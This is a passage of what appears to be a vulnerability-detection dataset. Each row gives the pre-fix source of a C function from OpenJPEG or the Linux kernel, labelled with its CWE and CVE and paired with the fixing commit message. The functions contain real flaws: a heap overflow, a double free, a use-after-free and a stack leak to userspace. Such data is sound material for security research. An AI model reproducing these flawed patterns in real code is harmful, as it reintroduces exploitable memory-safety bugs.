prec = (int)image->comps[0].prec;
if (out_space == cmsSigRgbData) { /* enumCS 16 */
unsigned int i, nr_comp = image->numcomps;
if (nr_comp > 4) {
nr_comp = 4;
}
for (i = 1; i < nr_comp; ++i) { /* AFL test */
if (image->comps[0].dx != image->comps[i].dx) {
break;
}
if (image->comps[0].dy != image->comps[i].dy) {
break;
}
if (image->comps[0].prec != image->comps[i].prec) {
break;
}
if (image->comps[0].sgnd != image->comps[i].sgnd) {
break;
}
}
if (i != nr_comp) {
cmsCloseProfile(in_prof);
return;
}
if (prec <= 8) {
in_type = TYPE_RGB_8;
out_type = TYPE_RGB_8;
} else {
in_type = TYPE_RGB_16;
out_type = TYPE_RGB_16;
}
out_prof = cmsCreate_sRGBProfile();
new_space = OPJ_CLRSPC_SRGB;
} else if (out_space == cmsSigGrayData) { /* enumCS 17 */
in_type = TYPE_GRAY_8;
out_type = TYPE_RGB_8;
out_prof = cmsCreate_sRGBProfile();
new_space = OPJ_CLRSPC_SRGB;
} else if (out_space == cmsSigYCbCrData) { /* enumCS 18 */
in_type = TYPE_YCbCr_16;
out_type = TYPE_RGB_16;
out_prof = cmsCreate_sRGBProfile();
new_space = OPJ_CLRSPC_SRGB;
} else {
#ifdef DEBUG_PROFILE
fprintf(stderr, "%s:%d: color_apply_icc_profile\n\tICC Profile has unknown "
"output colorspace(%#x)(%c%c%c%c)\n\tICC Profile ignored.\n",
__FILE__, __LINE__, out_space,
(out_space >> 24) & 0xff, (out_space >> 16) & 0xff,
(out_space >> 8) & 0xff, out_space & 0xff);
#endif
cmsCloseProfile(in_prof);
return;
}
if (out_prof == NULL) {
cmsCloseProfile(in_prof);
return;
}
#ifdef DEBUG_PROFILE
fprintf(stderr,
"%s:%d:color_apply_icc_profile\n\tchannels(%d) prec(%d) w(%d) h(%d)"
"\n\tprofile: in(%p) out(%p)\n", __FILE__, __LINE__, image->numcomps, prec,
max_w, max_h, (void*)in_prof, (void*)out_prof);
fprintf(stderr, "\trender_intent (%u)\n\t"
"color_space: in(%#x)(%c%c%c%c) out:(%#x)(%c%c%c%c)\n\t"
" type: in(%u) out:(%u)\n",
intent,
in_space,
(in_space >> 24) & 0xff, (in_space >> 16) & 0xff,
(in_space >> 8) & 0xff, in_space & 0xff,
out_space,
(out_space >> 24) & 0xff, (out_space >> 16) & 0xff,
(out_space >> 8) & 0xff, out_space & 0xff,
in_type, out_type
);
#else
(void)prec;
(void)in_space;
#endif /* DEBUG_PROFILE */
transform = cmsCreateTransform(in_prof, in_type, out_prof, out_type, intent, 0);
#ifdef OPJ_HAVE_LIBLCMS2
/* Possible for: LCMS_VERSION >= 2000 :*/
cmsCloseProfile(in_prof);
cmsCloseProfile(out_prof);
#endif
if (transform == NULL) {
#ifdef DEBUG_PROFILE
fprintf(stderr, "%s:%d:color_apply_icc_profile\n\tcmsCreateTransform failed. "
"ICC Profile ignored.\n", __FILE__, __LINE__);
#endif
#ifdef OPJ_HAVE_LIBLCMS1
cmsCloseProfile(in_prof);
cmsCloseProfile(out_prof);
#endif
return;
}
if (image->numcomps > 2) { /* RGB, RGBA */
if (prec <= 8) {
unsigned char *inbuf, *outbuf, *in, *out;
max = max_w * max_h;
nr_samples = (size_t)(max * 3U * sizeof(unsigned char));
in = inbuf = (unsigned char*)opj_image_data_alloc(nr_samples);
out = outbuf = (unsigned char*)opj_image_data_alloc(nr_samples);
if (inbuf == NULL || outbuf == NULL) {
goto fails0;
}
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0U; i < max; ++i) {
*in++ = (unsigned char) * r++;
*in++ = (unsigned char) * g++;
*in++ = (unsigned char) * b++;
}
cmsDoTransform(transform, inbuf, outbuf, (cmsUInt32Number)max);
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0U; i < max; ++i) {
*r++ = (int) * out++;
*g++ = (int) * out++;
*b++ = (int) * out++;
}
ok = 1;
fails0:
opj_image_data_free(inbuf);
opj_image_data_free(outbuf);
} else { /* prec > 8 */
unsigned short *inbuf, *outbuf, *in, *out;
max = max_w * max_h;
nr_samples = (size_t)(max * 3U * sizeof(unsigned short));
in = inbuf = (unsigned short*)opj_image_data_alloc(nr_samples);
out = outbuf = (unsigned short*)opj_image_data_alloc(nr_samples);
if (inbuf == NULL || outbuf == NULL) {
goto fails1;
}
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0U ; i < max; ++i) {
*in++ = (unsigned short) * r++;
*in++ = (unsigned short) * g++;
*in++ = (unsigned short) * b++;
}
cmsDoTransform(transform, inbuf, outbuf, (cmsUInt32Number)max);
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0; i < max; ++i) {
*r++ = (int) * out++;
*g++ = (int) * out++;
*b++ = (int) * out++;
}
ok = 1;
fails1:
opj_image_data_free(inbuf);
opj_image_data_free(outbuf);
}
} else { /* image->numcomps <= 2 : GRAY, GRAYA */
if (prec <= 8) {
unsigned char *in, *inbuf, *out, *outbuf;
opj_image_comp_t *new_comps;
max = max_w * max_h;
nr_samples = (size_t)(max * 3 * sizeof(unsigned char));
in = inbuf = (unsigned char*)opj_image_data_alloc(nr_samples);
out = outbuf = (unsigned char*)opj_image_data_alloc(nr_samples);
g = (int*)opj_image_data_alloc((size_t)max * sizeof(int));
b = (int*)opj_image_data_alloc((size_t)max * sizeof(int));
if (inbuf == NULL || outbuf == NULL || g == NULL || b == NULL) {
goto fails2;
}
new_comps = (opj_image_comp_t*)realloc(image->comps,
(image->numcomps + 2) * sizeof(opj_image_comp_t));
if (new_comps == NULL) {
goto fails2;
}
image->comps = new_comps;
if (image->numcomps == 2) {
image->comps[3] = image->comps[1];
}
image->comps[1] = image->comps[0];
image->comps[2] = image->comps[0];
image->comps[1].data = g;
image->comps[2].data = b;
image->numcomps += 2;
r = image->comps[0].data;
for (i = 0U; i < max; ++i) {
*in++ = (unsigned char) * r++;
}
cmsDoTransform(transform, inbuf, outbuf, (cmsUInt32Number)max);
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0U; i < max; ++i) {
*r++ = (int) * out++;
*g++ = (int) * out++;
*b++ = (int) * out++;
}
r = g = b = NULL;
ok = 1;
fails2:
opj_image_data_free(inbuf);
opj_image_data_free(outbuf);
opj_image_data_free(g);
opj_image_data_free(b);
} else { /* prec > 8 */
unsigned short *in, *inbuf, *out, *outbuf;
opj_image_comp_t *new_comps;
max = max_w * max_h;
nr_samples = (size_t)(max * 3U * sizeof(unsigned short));
in = inbuf = (unsigned short*)opj_image_data_alloc(nr_samples);
out = outbuf = (unsigned short*)opj_image_data_alloc(nr_samples);
g = (int*)opj_image_data_alloc((size_t)max * sizeof(int));
b = (int*)opj_image_data_alloc((size_t)max * sizeof(int));
if (inbuf == NULL || outbuf == NULL || g == NULL || b == NULL) {
goto fails3;
}
new_comps = (opj_image_comp_t*)realloc(image->comps,
(image->numcomps + 2) * sizeof(opj_image_comp_t));
if (new_comps == NULL) {
goto fails3;
}
image->comps = new_comps;
if (image->numcomps == 2) {
image->comps[3] = image->comps[1];
}
image->comps[1] = image->comps[0];
image->comps[2] = image->comps[0];
image->comps[1].data = g;
image->comps[2].data = b;
image->numcomps += 2;
r = image->comps[0].data;
for (i = 0U; i < max; ++i) {
*in++ = (unsigned short) * r++;
}
cmsDoTransform(transform, inbuf, outbuf, (cmsUInt32Number)max);
r = image->comps[0].data;
g = image->comps[1].data;
b = image->comps[2].data;
for (i = 0; i < max; ++i) {
*r++ = (int) * out++;
*g++ = (int) * out++;
*b++ = (int) * out++;
}
r = g = b = NULL;
ok = 1;
fails3:
opj_image_data_free(inbuf);
opj_image_data_free(outbuf);
opj_image_data_free(g);
opj_image_data_free(b);
}
}/* if(image->numcomps > 2) */
cmsDeleteTransform(transform);
#ifdef OPJ_HAVE_LIBLCMS1
cmsCloseProfile(in_prof);
cmsCloseProfile(out_prof);
#endif
if (ok) {
image->color_space = new_space;
}
}/* color_apply_icc_profile() */
| 105,259,506,362,981,870,000,000,000,000,000,000,000 | color.c | 74,641,151,863,664,750,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-21010 | OpenJPEG before 2.3.1 has a heap buffer overflow in color_apply_icc_profile in bin/common/color.c. | https://nvd.nist.gov/vuln/detail/CVE-2018-21010 |
4,120 | linux | 7fafcfdf6377b18b2a726ea554d6e593ba44349f | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/7fafcfdf6377b18b2a726ea554d6e593ba44349f | USB: gadget: f_midi: fixing a possible double-free in f_midi
It looks like there is a possibility of a double-free vulnerability on an
error path of the f_midi_set_alt function in the f_midi driver. If the
path is feasible then free_ep_req gets called twice:
req->complete = f_midi_complete;
err = usb_ep_queue(midi->out_ep, req, GFP_ATOMIC);
=> ...
usb_gadget_giveback_request
=>
f_midi_complete (CALLBACK)
(inside f_midi_complete, for various cases of status)
free_ep_req(ep, req); // first kfree
if (err) {
ERROR(midi, "%s: couldn't enqueue request: %d\n",
midi->out_ep->name, err);
free_ep_req(midi->out_ep, req); // second kfree
return err;
}
The double-free possibility was introduced with commit ad0d1a058eac
("usb: gadget: f_midi: fix leak on failed to enqueue out requests").
Found by MOXCAFE tool.
Signed-off-by: Tuba Yavuz <tuba@ece.ufl.edu>
Fixes: ad0d1a058eac ("usb: gadget: f_midi: fix leak on failed to enqueue out requests")
Acked-by: Felipe Balbi <felipe.balbi@linux.intel.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> | 1 | static int f_midi_set_alt(struct usb_function *f, unsigned intf, unsigned alt)
{
struct f_midi *midi = func_to_midi(f);
unsigned i;
int err;
/* we only set alt for MIDIStreaming interface */
if (intf != midi->ms_id)
return 0;
err = f_midi_start_ep(midi, f, midi->in_ep);
if (err)
return err;
err = f_midi_start_ep(midi, f, midi->out_ep);
if (err)
return err;
/* pre-allocate write usb requests to use on f_midi_transmit. */
while (kfifo_avail(&midi->in_req_fifo)) {
struct usb_request *req =
midi_alloc_ep_req(midi->in_ep, midi->buflen);
if (req == NULL)
return -ENOMEM;
req->length = 0;
req->complete = f_midi_complete;
kfifo_put(&midi->in_req_fifo, req);
}
/* allocate a bunch of read buffers and queue them all at once. */
for (i = 0; i < midi->qlen && err == 0; i++) {
struct usb_request *req =
midi_alloc_ep_req(midi->out_ep, midi->buflen);
if (req == NULL)
return -ENOMEM;
req->complete = f_midi_complete;
err = usb_ep_queue(midi->out_ep, req, GFP_ATOMIC);
if (err) {
ERROR(midi, "%s: couldn't enqueue request: %d\n",
midi->out_ep->name, err);
free_ep_req(midi->out_ep, req);
return err;
}
}
return 0;
}
| 319,178,464,914,382,540,000,000,000,000,000,000,000 | None | null | [
"CWE-415"
] | CVE-2018-20961 | In the Linux kernel before 4.16.4, a double free vulnerability in the f_midi_set_alt function of drivers/usb/gadget/function/f_midi.c in the f_midi driver may allow attackers to cause a denial of service or possibly have unspecified other impact. | https://nvd.nist.gov/vuln/detail/CVE-2018-20961 |
4,121 | linux | 54648cf1ec2d7f4b6a71767799c45676a138ca24 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/54648cf1ec2d7f4b6a71767799c45676a138ca24 | block: blk_init_allocated_queue() set q->fq as NULL in the fail case
We find the memory use-after-free issue in __blk_drain_queue()
on the kernel 4.14. After read the latest kernel 4.18-rc6 we
think it has the same problem.
Memory is allocated for q->fq in the blk_init_allocated_queue().
If the elevator init function called with error return, it will
run into the fail case to free the q->fq.
Then the __blk_drain_queue() uses the same memory after the free
of the q->fq, it will lead to the unpredictable event.
The patch is to set q->fq as NULL in the fail case of
blk_init_allocated_queue().
Fixes: commit 7c94e1c157a2 ("block: introduce blk_flush_queue to drive flush machinery")
Cc: <stable@vger.kernel.org>
Reviewed-by: Ming Lei <ming.lei@redhat.com>
Reviewed-by: Bart Van Assche <bart.vanassche@wdc.com>
Signed-off-by: xiao jin <jin.xiao@intel.com>
Signed-off-by: Jens Axboe <axboe@kernel.dk> | 1 | int blk_init_allocated_queue(struct request_queue *q)
{
WARN_ON_ONCE(q->mq_ops);
q->fq = blk_alloc_flush_queue(q, NUMA_NO_NODE, q->cmd_size);
if (!q->fq)
return -ENOMEM;
if (q->init_rq_fn && q->init_rq_fn(q, q->fq->flush_rq, GFP_KERNEL))
goto out_free_flush_queue;
if (blk_init_rl(&q->root_rl, q, GFP_KERNEL))
goto out_exit_flush_rq;
INIT_WORK(&q->timeout_work, blk_timeout_work);
q->queue_flags |= QUEUE_FLAG_DEFAULT;
/*
* This also sets hw/phys segments, boundary and size
*/
blk_queue_make_request(q, blk_queue_bio);
q->sg_reserved_size = INT_MAX;
if (elevator_init(q))
goto out_exit_flush_rq;
return 0;
out_exit_flush_rq:
if (q->exit_rq_fn)
q->exit_rq_fn(q, q->fq->flush_rq);
out_free_flush_queue:
blk_free_flush_queue(q->fq);
return -ENOMEM;
}
| 302,121,427,349,834,920,000,000,000,000,000,000,000 | blk-core.c | 50,547,906,985,392,000,000,000,000,000,000,000,000 | [
"CWE-416"
] | CVE-2018-20856 | An issue was discovered in the Linux kernel before 4.18.7. In block/blk-core.c, there is an __blk_drain_queue() use-after-free because a certain error case is mishandled. | https://nvd.nist.gov/vuln/detail/CVE-2018-20856 |
4,122 | linux | 0625b4ba1a5d4703c7fb01c497bd6c156908af00 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0625b4ba1a5d4703c7fb01c497bd6c156908af00 | IB/mlx5: Fix leaking stack memory to userspace
mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes
were written.
Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp")
Cc: <stable@vger.kernel.org>
Acked-by: Leon Romanovsky <leonro@mellanox.com>
Signed-off-by: Jason Gunthorpe <jgg@mellanox.com> | 1 | static int create_qp_common(struct mlx5_ib_dev *dev, struct ib_pd *pd,
struct ib_qp_init_attr *init_attr,
struct ib_udata *udata, struct mlx5_ib_qp *qp)
{
struct mlx5_ib_resources *devr = &dev->devr;
int inlen = MLX5_ST_SZ_BYTES(create_qp_in);
struct mlx5_core_dev *mdev = dev->mdev;
struct mlx5_ib_create_qp_resp resp;
struct mlx5_ib_cq *send_cq;
struct mlx5_ib_cq *recv_cq;
unsigned long flags;
u32 uidx = MLX5_IB_DEFAULT_UIDX;
struct mlx5_ib_create_qp ucmd;
struct mlx5_ib_qp_base *base;
int mlx5_st;
void *qpc;
u32 *in;
int err;
mutex_init(&qp->mutex);
spin_lock_init(&qp->sq.lock);
spin_lock_init(&qp->rq.lock);
mlx5_st = to_mlx5_st(init_attr->qp_type);
if (mlx5_st < 0)
return -EINVAL;
if (init_attr->rwq_ind_tbl) {
if (!udata)
return -ENOSYS;
err = create_rss_raw_qp_tir(dev, qp, pd, init_attr, udata);
return err;
}
if (init_attr->create_flags & IB_QP_CREATE_BLOCK_MULTICAST_LOOPBACK) {
if (!MLX5_CAP_GEN(mdev, block_lb_mc)) {
mlx5_ib_dbg(dev, "block multicast loopback isn't supported\n");
return -EINVAL;
} else {
qp->flags |= MLX5_IB_QP_BLOCK_MULTICAST_LOOPBACK;
}
}
if (init_attr->create_flags &
(IB_QP_CREATE_CROSS_CHANNEL |
IB_QP_CREATE_MANAGED_SEND |
IB_QP_CREATE_MANAGED_RECV)) {
if (!MLX5_CAP_GEN(mdev, cd)) {
mlx5_ib_dbg(dev, "cross-channel isn't supported\n");
return -EINVAL;
}
if (init_attr->create_flags & IB_QP_CREATE_CROSS_CHANNEL)
qp->flags |= MLX5_IB_QP_CROSS_CHANNEL;
if (init_attr->create_flags & IB_QP_CREATE_MANAGED_SEND)
qp->flags |= MLX5_IB_QP_MANAGED_SEND;
if (init_attr->create_flags & IB_QP_CREATE_MANAGED_RECV)
qp->flags |= MLX5_IB_QP_MANAGED_RECV;
}
if (init_attr->qp_type == IB_QPT_UD &&
(init_attr->create_flags & IB_QP_CREATE_IPOIB_UD_LSO))
if (!MLX5_CAP_GEN(mdev, ipoib_basic_offloads)) {
mlx5_ib_dbg(dev, "ipoib UD lso qp isn't supported\n");
return -EOPNOTSUPP;
}
if (init_attr->create_flags & IB_QP_CREATE_SCATTER_FCS) {
if (init_attr->qp_type != IB_QPT_RAW_PACKET) {
mlx5_ib_dbg(dev, "Scatter FCS is supported only for Raw Packet QPs");
return -EOPNOTSUPP;
}
if (!MLX5_CAP_GEN(dev->mdev, eth_net_offloads) ||
!MLX5_CAP_ETH(dev->mdev, scatter_fcs)) {
mlx5_ib_dbg(dev, "Scatter FCS isn't supported\n");
return -EOPNOTSUPP;
}
qp->flags |= MLX5_IB_QP_CAP_SCATTER_FCS;
}
if (init_attr->sq_sig_type == IB_SIGNAL_ALL_WR)
qp->sq_signal_bits = MLX5_WQE_CTRL_CQ_UPDATE;
if (init_attr->create_flags & IB_QP_CREATE_CVLAN_STRIPPING) {
if (!(MLX5_CAP_GEN(dev->mdev, eth_net_offloads) &&
MLX5_CAP_ETH(dev->mdev, vlan_cap)) ||
(init_attr->qp_type != IB_QPT_RAW_PACKET))
return -EOPNOTSUPP;
qp->flags |= MLX5_IB_QP_CVLAN_STRIPPING;
}
if (pd && pd->uobject) {
if (ib_copy_from_udata(&ucmd, udata, sizeof(ucmd))) {
mlx5_ib_dbg(dev, "copy failed\n");
return -EFAULT;
}
err = get_qp_user_index(to_mucontext(pd->uobject->context),
&ucmd, udata->inlen, &uidx);
if (err)
return err;
qp->wq_sig = !!(ucmd.flags & MLX5_QP_FLAG_SIGNATURE);
qp->scat_cqe = !!(ucmd.flags & MLX5_QP_FLAG_SCATTER_CQE);
if (ucmd.flags & MLX5_QP_FLAG_TUNNEL_OFFLOADS) {
if (init_attr->qp_type != IB_QPT_RAW_PACKET ||
!tunnel_offload_supported(mdev)) {
mlx5_ib_dbg(dev, "Tunnel offload isn't supported\n");
return -EOPNOTSUPP;
}
qp->tunnel_offload_en = true;
}
if (init_attr->create_flags & IB_QP_CREATE_SOURCE_QPN) {
if (init_attr->qp_type != IB_QPT_UD ||
(MLX5_CAP_GEN(dev->mdev, port_type) !=
MLX5_CAP_PORT_TYPE_IB) ||
!mlx5_get_flow_namespace(dev->mdev, MLX5_FLOW_NAMESPACE_BYPASS)) {
mlx5_ib_dbg(dev, "Source QP option isn't supported\n");
return -EOPNOTSUPP;
}
qp->flags |= MLX5_IB_QP_UNDERLAY;
qp->underlay_qpn = init_attr->source_qpn;
}
} else {
qp->wq_sig = !!wq_signature;
}
base = (init_attr->qp_type == IB_QPT_RAW_PACKET ||
qp->flags & MLX5_IB_QP_UNDERLAY) ?
&qp->raw_packet_qp.rq.base :
&qp->trans_qp.base;
qp->has_rq = qp_has_rq(init_attr);
err = set_rq_size(dev, &init_attr->cap, qp->has_rq,
qp, (pd && pd->uobject) ? &ucmd : NULL);
if (err) {
mlx5_ib_dbg(dev, "err %d\n", err);
return err;
}
if (pd) {
if (pd->uobject) {
__u32 max_wqes =
1 << MLX5_CAP_GEN(mdev, log_max_qp_sz);
mlx5_ib_dbg(dev, "requested sq_wqe_count (%d)\n", ucmd.sq_wqe_count);
if (ucmd.rq_wqe_shift != qp->rq.wqe_shift ||
ucmd.rq_wqe_count != qp->rq.wqe_cnt) {
mlx5_ib_dbg(dev, "invalid rq params\n");
return -EINVAL;
}
if (ucmd.sq_wqe_count > max_wqes) {
mlx5_ib_dbg(dev, "requested sq_wqe_count (%d) > max allowed (%d)\n",
ucmd.sq_wqe_count, max_wqes);
return -EINVAL;
}
if (init_attr->create_flags &
mlx5_ib_create_qp_sqpn_qp1()) {
mlx5_ib_dbg(dev, "user-space is not allowed to create UD QPs spoofing as QP1\n");
return -EINVAL;
}
err = create_user_qp(dev, pd, qp, udata, init_attr, &in,
&resp, &inlen, base);
if (err)
mlx5_ib_dbg(dev, "err %d\n", err);
} else {
err = create_kernel_qp(dev, init_attr, qp, &in, &inlen,
base);
if (err)
mlx5_ib_dbg(dev, "err %d\n", err);
}
if (err)
return err;
} else {
in = kvzalloc(inlen, GFP_KERNEL);
if (!in)
return -ENOMEM;
qp->create_type = MLX5_QP_EMPTY;
}
if (is_sqp(init_attr->qp_type))
qp->port = init_attr->port_num;
qpc = MLX5_ADDR_OF(create_qp_in, in, qpc);
MLX5_SET(qpc, qpc, st, mlx5_st);
MLX5_SET(qpc, qpc, pm_state, MLX5_QP_PM_MIGRATED);
if (init_attr->qp_type != MLX5_IB_QPT_REG_UMR)
MLX5_SET(qpc, qpc, pd, to_mpd(pd ? pd : devr->p0)->pdn);
else
MLX5_SET(qpc, qpc, latency_sensitive, 1);
if (qp->wq_sig)
MLX5_SET(qpc, qpc, wq_signature, 1);
if (qp->flags & MLX5_IB_QP_BLOCK_MULTICAST_LOOPBACK)
MLX5_SET(qpc, qpc, block_lb_mc, 1);
if (qp->flags & MLX5_IB_QP_CROSS_CHANNEL)
MLX5_SET(qpc, qpc, cd_master, 1);
if (qp->flags & MLX5_IB_QP_MANAGED_SEND)
MLX5_SET(qpc, qpc, cd_slave_send, 1);
if (qp->flags & MLX5_IB_QP_MANAGED_RECV)
MLX5_SET(qpc, qpc, cd_slave_receive, 1);
if (qp->scat_cqe && is_connected(init_attr->qp_type)) {
int rcqe_sz;
int scqe_sz;
rcqe_sz = mlx5_ib_get_cqe_size(dev, init_attr->recv_cq);
scqe_sz = mlx5_ib_get_cqe_size(dev, init_attr->send_cq);
if (rcqe_sz == 128)
MLX5_SET(qpc, qpc, cs_res, MLX5_RES_SCAT_DATA64_CQE);
else
MLX5_SET(qpc, qpc, cs_res, MLX5_RES_SCAT_DATA32_CQE);
if (init_attr->sq_sig_type == IB_SIGNAL_ALL_WR) {
if (scqe_sz == 128)
MLX5_SET(qpc, qpc, cs_req, MLX5_REQ_SCAT_DATA64_CQE);
else
MLX5_SET(qpc, qpc, cs_req, MLX5_REQ_SCAT_DATA32_CQE);
}
}
if (qp->rq.wqe_cnt) {
MLX5_SET(qpc, qpc, log_rq_stride, qp->rq.wqe_shift - 4);
MLX5_SET(qpc, qpc, log_rq_size, ilog2(qp->rq.wqe_cnt));
}
MLX5_SET(qpc, qpc, rq_type, get_rx_type(qp, init_attr));
if (qp->sq.wqe_cnt) {
MLX5_SET(qpc, qpc, log_sq_size, ilog2(qp->sq.wqe_cnt));
} else {
MLX5_SET(qpc, qpc, no_sq, 1);
if (init_attr->srq &&
init_attr->srq->srq_type == IB_SRQT_TM)
MLX5_SET(qpc, qpc, offload_type,
MLX5_QPC_OFFLOAD_TYPE_RNDV);
}
/* Set default resources */
switch (init_attr->qp_type) {
case IB_QPT_XRC_TGT:
MLX5_SET(qpc, qpc, cqn_rcv, to_mcq(devr->c0)->mcq.cqn);
MLX5_SET(qpc, qpc, cqn_snd, to_mcq(devr->c0)->mcq.cqn);
MLX5_SET(qpc, qpc, srqn_rmpn_xrqn, to_msrq(devr->s0)->msrq.srqn);
MLX5_SET(qpc, qpc, xrcd, to_mxrcd(init_attr->xrcd)->xrcdn);
break;
case IB_QPT_XRC_INI:
MLX5_SET(qpc, qpc, cqn_rcv, to_mcq(devr->c0)->mcq.cqn);
MLX5_SET(qpc, qpc, xrcd, to_mxrcd(devr->x1)->xrcdn);
MLX5_SET(qpc, qpc, srqn_rmpn_xrqn, to_msrq(devr->s0)->msrq.srqn);
break;
default:
if (init_attr->srq) {
MLX5_SET(qpc, qpc, xrcd, to_mxrcd(devr->x0)->xrcdn);
MLX5_SET(qpc, qpc, srqn_rmpn_xrqn, to_msrq(init_attr->srq)->msrq.srqn);
} else {
MLX5_SET(qpc, qpc, xrcd, to_mxrcd(devr->x1)->xrcdn);
MLX5_SET(qpc, qpc, srqn_rmpn_xrqn, to_msrq(devr->s1)->msrq.srqn);
}
}
if (init_attr->send_cq)
MLX5_SET(qpc, qpc, cqn_snd, to_mcq(init_attr->send_cq)->mcq.cqn);
if (init_attr->recv_cq)
MLX5_SET(qpc, qpc, cqn_rcv, to_mcq(init_attr->recv_cq)->mcq.cqn);
MLX5_SET64(qpc, qpc, dbr_addr, qp->db.dma);
/* 0xffffff means we ask to work with cqe version 0 */
if (MLX5_CAP_GEN(mdev, cqe_version) == MLX5_CQE_VERSION_V1)
MLX5_SET(qpc, qpc, user_index, uidx);
/* we use IB_QP_CREATE_IPOIB_UD_LSO to indicates ipoib qp */
if (init_attr->qp_type == IB_QPT_UD &&
(init_attr->create_flags & IB_QP_CREATE_IPOIB_UD_LSO)) {
MLX5_SET(qpc, qpc, ulp_stateless_offload_mode, 1);
qp->flags |= MLX5_IB_QP_LSO;
}
if (init_attr->create_flags & IB_QP_CREATE_PCI_WRITE_END_PADDING) {
if (!MLX5_CAP_GEN(dev->mdev, end_pad)) {
mlx5_ib_dbg(dev, "scatter end padding is not supported\n");
err = -EOPNOTSUPP;
goto err;
} else if (init_attr->qp_type != IB_QPT_RAW_PACKET) {
MLX5_SET(qpc, qpc, end_padding_mode,
MLX5_WQ_END_PAD_MODE_ALIGN);
} else {
qp->flags |= MLX5_IB_QP_PCI_WRITE_END_PADDING;
}
}
if (inlen < 0) {
err = -EINVAL;
goto err;
}
if (init_attr->qp_type == IB_QPT_RAW_PACKET ||
qp->flags & MLX5_IB_QP_UNDERLAY) {
qp->raw_packet_qp.sq.ubuffer.buf_addr = ucmd.sq_buf_addr;
raw_packet_qp_copy_info(qp, &qp->raw_packet_qp);
err = create_raw_packet_qp(dev, qp, in, inlen, pd);
} else {
err = mlx5_core_create_qp(dev->mdev, &base->mqp, in, inlen);
}
if (err) {
mlx5_ib_dbg(dev, "create qp failed\n");
goto err_create;
}
kvfree(in);
base->container_mibqp = qp;
base->mqp.event = mlx5_ib_qp_event;
get_cqs(init_attr->qp_type, init_attr->send_cq, init_attr->recv_cq,
&send_cq, &recv_cq);
spin_lock_irqsave(&dev->reset_flow_resource_lock, flags);
mlx5_ib_lock_cqs(send_cq, recv_cq);
/* Maintain device to QPs access, needed for further handling via reset
* flow
*/
list_add_tail(&qp->qps_list, &dev->qp_list);
/* Maintain CQ to QPs access, needed for further handling via reset flow
*/
if (send_cq)
list_add_tail(&qp->cq_send_list, &send_cq->list_send_qp);
if (recv_cq)
list_add_tail(&qp->cq_recv_list, &recv_cq->list_recv_qp);
mlx5_ib_unlock_cqs(send_cq, recv_cq);
spin_unlock_irqrestore(&dev->reset_flow_resource_lock, flags);
return 0;
err_create:
if (qp->create_type == MLX5_QP_USER)
destroy_qp_user(dev, pd, qp, base);
else if (qp->create_type == MLX5_QP_KERNEL)
destroy_qp_kernel(dev, qp);
err:
kvfree(in);
return err;
}
| 248,861,397,606,415,760,000,000,000,000,000,000,000 | qp.c | 331,582,094,954,837,000,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-20855 | An issue was discovered in the Linux kernel before 4.18.7. In create_qp_common in drivers/infiniband/hw/mlx5/qp.c, mlx5_ib_create_qp_resp was never initialized, resulting in a leak of stack memory to userspace. | https://nvd.nist.gov/vuln/detail/CVE-2018-20855 |
4,124 | openjpeg | c58df149900df862806d0e892859b41115875845 | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/c58df149900df862806d0e892859b41115875845 | [OPENJP2] change the way to compute *p_tx0, *p_tx1, *p_ty0, *p_ty1 in function
opj_get_encoding_parameters
Signed-off-by: Young_X <YangX92@hotmail.com> | 1 | static void opj_get_encoding_parameters(const opj_image_t *p_image,
const opj_cp_t *p_cp,
OPJ_UINT32 p_tileno,
OPJ_INT32 * p_tx0,
OPJ_INT32 * p_tx1,
OPJ_INT32 * p_ty0,
OPJ_INT32 * p_ty1,
OPJ_UINT32 * p_dx_min,
OPJ_UINT32 * p_dy_min,
OPJ_UINT32 * p_max_prec,
OPJ_UINT32 * p_max_res)
{
/* loop */
OPJ_UINT32 compno, resno;
/* pointers */
const opj_tcp_t *l_tcp = 00;
const opj_tccp_t * l_tccp = 00;
const opj_image_comp_t * l_img_comp = 00;
/* position in x and y of tile */
OPJ_UINT32 p, q;
/* preconditions */
assert(p_cp != 00);
assert(p_image != 00);
assert(p_tileno < p_cp->tw * p_cp->th);
/* initializations */
l_tcp = &p_cp->tcps [p_tileno];
l_img_comp = p_image->comps;
l_tccp = l_tcp->tccps;
/* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */
p = p_tileno % p_cp->tw;
q = p_tileno / p_cp->tw;
/* find extent of tile */
*p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx),
(OPJ_INT32)p_image->x0);
*p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx),
(OPJ_INT32)p_image->x1);
*p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy),
(OPJ_INT32)p_image->y0);
*p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy),
(OPJ_INT32)p_image->y1);
/* max precision is 0 (can only grow) */
*p_max_prec = 0;
*p_max_res = 0;
/* take the largest value for dx_min and dy_min */
*p_dx_min = 0x7fffffff;
*p_dy_min = 0x7fffffff;
for (compno = 0; compno < p_image->numcomps; ++compno) {
/* arithmetic variables to calculate */
OPJ_UINT32 l_level_no;
OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1;
OPJ_INT32 l_px0, l_py0, l_px1, py1;
OPJ_UINT32 l_pdx, l_pdy;
OPJ_UINT32 l_pw, l_ph;
OPJ_UINT32 l_product;
OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1;
l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx);
